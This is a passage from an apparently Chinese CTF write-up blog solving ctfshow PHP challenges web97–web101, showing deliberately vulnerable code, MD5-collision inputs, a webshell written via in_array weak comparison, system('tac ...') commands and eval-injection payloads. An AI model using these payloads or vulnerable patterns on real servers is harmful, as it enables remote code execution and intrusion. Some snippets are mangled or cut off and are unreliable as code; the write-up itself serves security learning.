urlencode(readmyfile(&quot;E:\/TOOLS\/fuck_msg1.txt&quot;));\n$b = urlencode(readmyfile(&quot;E:\/TOOLS\/fuck_msg2.txt&quot;));\nif(md5((string)urldecode($a))===md5((string)urldecode($b))){\necho $a;\n}\nif(urldecode($a)!=urldecode($b)){\necho $b;\n}<\/code><\/pre>\n<pre><code class=\"language-text\">a = fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3Fkt%7E%FCi%8By%A4%B2%1C%D2e%C9%C2%F4%F5%3BHE7v%1D%02%05%16%82%9E%94%3E%0D%EA%D3%22%B4%E5%00%AC-%3A%EF%07%C72%EF%AF%CC%06%1F%90%BA%19%FBG%CF%40H%B4%CA%C8%A0%AC%04%12%8B%FB%E7%E1%D4Y+a%F6%10%5D0A%EF%F3%0EB%5E%5EM%1F%C6%0E%A5%CBZ%EE%CC%EC%86%E2q%60L%26%DA%04%D0%E7%7D%C8sM7%C6%84s0%03%8B%0E%92%10%9A+%AE%1A%5C%5B%27%861%2C%A1\n&amp;\nb=\nfuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3Fkt%7E%FCi%8By%A4%B2%1C%D2e%C9%C2%F4%F5%3BH%C57v%1D%02%05%16%82%9E%94%3E%0D%EA%D3%22%B4%E5%00%AC-%3A%EF%07%C72%EF%2F%CD%06%1F%90%BA%19%FBG%CF%40H%B4%CAH%A0%AC%04%12%8B%FB%E7%E1%D4Y+a%F6%10%5D0A%EF%F3%0EB%5E%5E%CD%1F%C6%0E%A5%CBZ%EE%CC%EC%86%E2q%60L%26%DA%04%D0%E7%7D%C8sM7%C6%04s0%03%8B%0E%92%10%9A+%AE%1A%5C%5B%A7%861%2C%A1<\/code><\/pre>\n<p>\u7136\u540e\u4f20\u53c2\uff0c\u4e0d\u77e5\u9053\u8fd9\u9898\u4e3a\u5565\u4e0d\u884c\u3002\u3002\u3002\u53ef\u80fd\u662f\u6709\u5565\u5ffd\u7565\u4e86\uff0c\u5565\u65f6\u5019\u60f3\u8d77\u6765\u518d\u8865\u5145\u5427\u3002\u3002\u3002<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">\u901a\u8fc7\u6570\u7ec4\u7ed5\u8fc7 a[]=1&amp;b[]=2<\/code><\/pre>\n<h1>web98<\/h1>\n<pre><code class=\"language-php\">Notice: Undefined index: flag in \/var\/www\/html\/index.php on line 15\nNotice: Undefined index: flag in \/var\/www\/html\/index.php on line 16\nNotice: Undefined index: HTTP_FLAG in \/var\/www\/html\/index.php on line 17\n&lt;?php\ninclude(&quot;flag.php&quot;);\n$_GET?$_GET=&amp;$_POST:&#039;flag&#039;;\n$_GET[&#039;flag&#039;]==&#039;flag&#039;?$_GET=&amp;$_COOKIE:&#039;flag&#039;;\n$_GET[&#039;flag&#039;]==&#039;flag&#039;?$_GET=&amp;$_SERVER:&#039;flag&#039;;\nhighlight_file($_GET[&#039;HTTP_FLAG&#039;]==&#039;flag&#039;?$flag:__FILE__);\n?&gt;<\/code><\/pre>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u4e00\u4e0b\uff1a<\/p>\n<p>\u672c\u4f53\u7528\u4e86\u5f88\u591a\u4e09\u5143\u8fd0\u7b97\u7b26\u4ee5\u53ca\u4f20\u5740\u64cd\u4f5c\uff1a<\/p>\n<ul>\n<li><code>$__GET<\/code>\u5b58\u5728\u5219<code>$GET=$POST<\/code>\uff0c\u5426\u5219\u4e3a<code>flag<\/code><\/li>\n<li><code>$_GET[&#039;flag&#039;]==&#039;flag&#039;<\/code>\u5219<code>$_GET=$_COOKIE<\/code>\uff0c\u5426\u5219\u4e3a<code>flag<\/code><\/li>\n<li><code>$_GET[&#039;flag&#039;]==&#039;flag&#039;<\/code>\u5219<code>$_GET=$_SERVER<\/code>\uff0c\u5426\u5219\u4e3a<code>flag<\/code><\/li>\n<li><code>$_GET[&#039;HTTP_FLAG&#039;]==&#039;flag&#039;<\/code>\u5219\u9ad8\u4eae\u6587\u4ef6\uff0c\u8f93\u51faflag<\/li>\n<\/ul>\n<p>\u6784\u9020payload\uff1a<\/p>\n<h2>\u89e3\u6cd5\u4e00\uff1a\u6784\u9020_GET\u3001_COOKIE\u3001_POST<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933321.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933321.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220923030146445\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933322.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933322.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220923030206573\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u5f97\u5230flag\uff01<\/p>\n<h2>\u89e3\u6cd5\u4e8c\uff1a\u6784\u9020_GET\u3001_POST<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933324.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933324.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220923030740860\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u4e5f\u80fd\u5f97\u5230flag\uff01\uff01\uff01\uff01<\/p>\n<h2>Hint<\/h2>\n<p><a href=\"https:\/\/www.php.cn\/php-notebook-172859.html\">https:\/\/www.php.cn\/php-notebook-172859.html<\/a> <a href=\"https:\/\/www.php.cn\/php-weizijiaocheng-383293.html\">https:\/\/www.php.cn\/php-weizijiaocheng-383293.html<\/a> <\/p>\n<p>\u8003\u70b9\u662fPHP\u91cc\u9762\u7684\u4e09\u5143\u8fd0\u7b97\u7b26\u548c\u4f20\u5740(\u5f15\u7528) \u4f20\u5740(\u5f15\u7528)\u6709\u70b9\u50cfc\u8bed\u8a00\u91cc\u9762\u7684\u5730\u5740 \u6211\u4eec\u53ef\u4ee5\u4fee\u6539\u4e00\u4e0b\u4ee3\u7801<\/p>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&#039;flag.php&#039;);\nif($_GET){\n$_GET=&amp;$_POST;\/\/\u53ea\u8981\u6709\u8f93\u5165\u7684get\u53c2\u6570\u5c31\u5c06get\u65b9\u6cd5\u6539\u53d8\u4e3apost\u65b9\u6cd5(\u4fee\u6539\u4e86get\u65b9\u6cd5\u7684\u5730\u5740)\n}else{\n&quot;flag&quot;;\n} i\nf($_GET[&#039;flag&#039;]==&#039;flag&#039;){\n$_GET=&amp;$_COOKIE;\n}else{\n&#039;flag&#039;;\n1 2 3 4 5 6 7 8 9\n10\n11<\/code><\/pre>\n<p>\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981 GET\u4e00\u4e2a?HTTP_FLAG=flag \u52a0 POST\u4e00\u4e2aHTTP_FLAG=flag \u4e2d\u95f4\u7684\u4ee3\u7801\u6ca1\u6709\u4f5c\u7528\uff0c\u56e0\u4e3a\u6211\u4eec\u4e0d\u63d0\u4ea4 flag \u53c2\u6570<\/p>\n<h1>web99<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\n$allow = array();\nfor ($i=36; $i &lt; 0x36d; $i++) { \n    array_push($allow, rand(1,$i));\n}\nif(isset($_GET[&#039;n&#039;]) &amp;&amp; in_array($_GET[&#039;n&#039;], $allow)){\n    file_put_contents($_GET[&#039;n&#039;], $_POST[&#039;content&#039;]);\n}\n\n?&gt;<\/code><\/pre>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u4e00\u4e0b\uff1a<\/p>\n<ul>\n<li>\u4ece<code>1~36<\/code>\u5f00\u59cb\u5230<code>1~0x36d<\/code>\u5206\u522b\u4ece\u91cc\u9762\u53d6\u51fa\u4e00\u4e2a\u6570\u5b57\u653e\u5165\u6570\u7ec4<\/li>\n<li>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933325.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933325.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927143623247\" style=\"zoom:33%;\" \/><\/div>\n<\/li>\n<li>\u68c0\u6d4bGET\u53c2\u6570\uff0c\u5e76\u770b\u4e00\u4e0b\u662f\u4e0d\u662f\u5728\u6570\u7ec4\u5185\uff0c\u6709\u7684\u8bdd\u5c06GET\u53c2\u6570\u8bbe\u7f6e\u6210\u6587\u4ef6\u540d\uff0cPOST\u53c2\u6570\u8bbe\u7f6e\u6210\u5185\u5bb9<\/li>\n<\/ul>\n<p>\u67e5\u4e00\u4e0b\u57fa\u7840\u51fd\u6570\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933326.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933326.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927140330084\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u77e5\u9053\u5728877\u91cc\u53d6\u4e86841\u4e2a\u6570\u5b57\uff0c\u867d\u7136\u91cc\u9762\u53ef\u80fd\u4f1a\u6709\u91cd\u590d\u7684\uff0c\u4f46\u662f\u53ef\u4ee5\u77e5\u9053\u57280~841\u91cc\u80af\u5b9a\u6709\u53c2\u6570\u5728\u6570\u7ec4\u5185\uff0c\u4e8e\u662f\u4e4e\u3002\u3002\u3002\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933327.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933327.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927144709949\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u8bbf\u95ee1.php<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933328.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933328.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927144731499\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933329.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933329.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927144839225\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933330.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933330.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927144851643\" \/><\/div><\/p>\n<p>\u8bbf\u95eeflag\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-php\">1=system(&quot;tac flag36d.php&quot;);<\/code><\/pre>\n<pre><code class=\"language-text\">$flag=&quot;ctfshow{e3d839ed-895a-454a-ae81-1b56f71c0eb6}&quot;; *\/ # @link: https:\/\/ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- \/*<\/code><\/pre>\n<p>\u5f97\u5230flag\uff01\uff01\uff01\uff01\uff01<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\n$allow = array();\/\/\u8bbe\u7f6e\u4e3a\u6570\u7ec4\nfor ($i=36; $i &lt; 0x36d; $i++) {\narray_push($allow, rand(1,$i));\/\/\u5411\u6570\u7ec4\u91cc\u9762\u63d2\u5165\u968f\u673a\u6570\n} i\nf(isset($_GET[&#039;n&#039;]) &amp;&amp; in_array($_GET[&#039;n&#039;], $allow)){\n\/\/in_array()\u51fd\u6570\u6709\u6f0f\u6d1e \u6ca1\u6709\u8bbe\u7f6e\u7b2c\u4e09\u4e2a\u53c2\u6570 \u5c31\u53ef\u4ee5\u5f62\u6210\u81ea\u52a8\u8f6c\u6362eg:n=1.php\u81ea\u52a8\u8f6c\u6362\u4e3a1\nfile_put_contents($_GET[&#039;n&#039;], $_POST[&#039;content&#039;]);\n\/\/\u5199\u51651.php\u6587\u4ef6 \u5185\u5bb9\u662f&lt;?php system($_POST[1]);?&gt;\n} ?\n>\npayload: get : ?n=1.php post:content=<\/code><\/pre>\n<h1>web100<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\ninclude(&quot;ctfshow.php&quot;);\n\/\/flag in class ctfshow;\n$ctfshow = new ctfshow();\n$v1=$_GET[&#039;v1&#039;];\n$v2=$_GET[&#039;v2&#039;];\n$v3=$_GET[&#039;v3&#039;];\n$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);\nif($v0){\n    if(!preg_match(&quot;\/\\;\/&quot;, $v2)){\n        if(preg_match(&quot;\/\\;\/&quot;, $v3)){\n            eval(&quot;$v2(&#039;ctfshow&#039;)$v3&quot;);\n        }\n    }  \n}\n?&gt;\nNotice: Undefined index: v1 in \/var\/www\/html\/index.php on line 17\nNotice: Undefined index: v2 in \/var\/www\/html\/index.php on line 18\nNotice: Undefined index: v3 in \/var\/www\/html\/index.php on line 19<\/code><\/pre>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u4e00\u4e0b\uff1a<\/p>\n<blockquote>\n<p>\u9700\u8981\u4f20\u5165\u4e09\u4e2a\u53c2\u6570\uff1a<\/p>\n<ul>\n<li>v1 \u53c2\u6570\u4e3a\u4e00\u6267\u884c\u4e0b\u8ff0\u903b\u8f91<\/li>\n<li>v2 \u53c2\u6570\u4e3a\u547d\u4ee4<\/li>\n<li>v3 \u53c2\u6570\u4e3a\uff1b<\/li>\n<\/ul>\n<\/blockquote>\n<p>\u67e5\u770b\u4e00\u4e0b\u76f8\u5173\u51fd\u6570\uff1a<\/p>\n<blockquote>\n<p><strong>is_numeric<\/strong><\/p>\n<p>(PHP 4, PHP 5, PHP 7, PHP 8)<\/p>\n<p>is_numeric \u2014 \u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u5b57\u6216\u6570\u5b57\u5b57\u7b26\u4e32<\/p>\n<p><strong>\u8bf4\u660e<\/strong><\/p>\n<p>is_numeric(<a href=\"https:\/\/www.php.net\/manual\/zh\/language.types.declarations.php#language.types.declarations.mixed\">mixed<\/a> <code>$value<\/code>): bool<\/p>\n<p>\u68c0\u6d4b\u6307\u5b9a\u7684\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u5b57\u6216<a href=\"https:\/\/www.php.net\/manual\/zh\/language.types.numeric-strings.php\">\u6570\u5b57\u5b57\u7b26\u4e32<\/a>\u3002<\/p>\n<p><strong>\u53c2\u6570<\/strong><\/p>\n<ul>\n<li>\n<p><code>value<\/code><\/p>\n<p>\u9700\u8981\u68c0\u6d4b\u7684\u53d8\u91cf\u3002<\/p>\n<\/li>\n<\/ul>\n<p><strong>\u8fd4\u56de\u503c<\/strong><\/p>\n<p>\u5982\u679c <code>value<\/code> \u662f\u6570\u5b57\u6216<a href=\"https:\/\/www.php.net\/manual\/zh\/language.types.numeric-strings.php\">\u6570\u5b57\u5b57\u7b26\u4e32<\/a>\uff0c \u8fd4\u56de <strong><code>true<\/code><\/strong>\uff0c\u5426\u5219\u8fd4\u56de <strong><code>false<\/code><\/strong>\u3002<\/p>\n<\/blockquote>\n<p>\u6784\u9020payload\uff1a<\/p>\n<pre><code class=\"language-php\">\/?v1=1&amp;v2=var_dump&amp;v3=;\n# string(7) &quot;ctfshow&quot;\n\/?v1=1&amp;v2=phpinfo()&amp;v3=;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933331.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933331.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927151731091\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933332.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933332.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927151811524\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fd9\u4e2aflag\u4e00\u770b\u5c31\u4e0d\u592a\u5bf9\u52b2\u3002\u3002\u3002\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933333.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933333.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220927151856161\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5f97\u5230flag\uff01\uff01\uff01\uff01<\/p>\n<p>\u63d0\u4ea4\u3002\u3002\u3002\u3002\u3002\u5931\u8d25\u3002\u3002<\/p>\n<p>\u89c2\u5bdfflag\uff0c\u53d1\u73b0\u6709<code>0x2d<\/code>\uff0c16\u8fdb\u5236\u89e3\u7801\u5c31\u662f<code>-<\/code><\/p>\n<p>\u5c06flag\u8f6c\u5316\u4e00\u4e0b\u63d0\u4ea4\u3002\u3002\u3002\u6210\u529f\uff01\uff01\uff01\uff01<\/p>\n<h2>\u5927\u5e08\u5085\u6b65\u9aa4<\/h2>\n<p>\u548c\u4e0a\u9762\u7684\u6b65\u9aa4\u57fa\u672c\u4e0a\u662f\u4e00\u81f4\u7684\uff0c\u4f46\u662f\u5927\u5e08\u5085\u6784\u9020\u4e86\u4e2a<code>%23<\/code>\uff08url\u7f16\u7801\u4ee5\u540e\u7684<code>#<\/code>\uff09\u7528\u6765\u5c06\u5b57\u7b26\u4e32\u6ce8\u91ca\u6389\u3002<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-php\">\u8fd9\u9053\u9898\u57fa\u672c\u4e0a\u6ca1\u6709\u5bf9\u53c2\u6570\u8fdb\u884c\u8fc7\u6ee4,\u6240\u4ee5\u76f4\u63a5\u6267\u884c\u547d\u4ee4\n?v1=21&amp;v2=var_dump($ctfshow)\/*&amp;v3=*\/;<\/code><\/pre>\n<h1>web101<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\ninclude(&quot;ctfshow.php&quot;);\n\/\/flag in class ctfshow;\n$ctfshow = new ctfshow();\n$v1=$_GET[&#039;v1&#039;];\n$v2=$_GET[&#039;v2&#039;];\n$v3=$_GET[&#039;v3&#039;];\n$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);\nif($v0){\n    if(!preg_match(&quot;\/\\\\\\\\|\\\/|\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\*|\\)|\\-|\\_|\\+|\\=|\\{|\\[|\\&quot;|\\&#039;|\\,|\\.|\\;|\\?|[0-9]\/&quot;, $v2)){\n        if(!preg_match(&quot;\/\\\\\\\\|\\\/|\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\*|\\(|\\-|\\_|\\+|\\=|\\{|\\[|\\&quot;|\\&#039;|\\,|\\.|\\?|[0-9]\/&quot;, $v3)){\n            eval(&quot;$v2(&#039;ctfshow&#039;)$v3&quot;);\n        }\n    }  \n}\n?&gt;\nNotice: Undefined index: v1 in \/var\/www\/html\/index.php on line 17\nNotice: Undefined index: v2 in \/var\/www\/html\/index.php on line 18\nNotice: Undefined index: v3 in \/var\/www\/html\/index.php on line 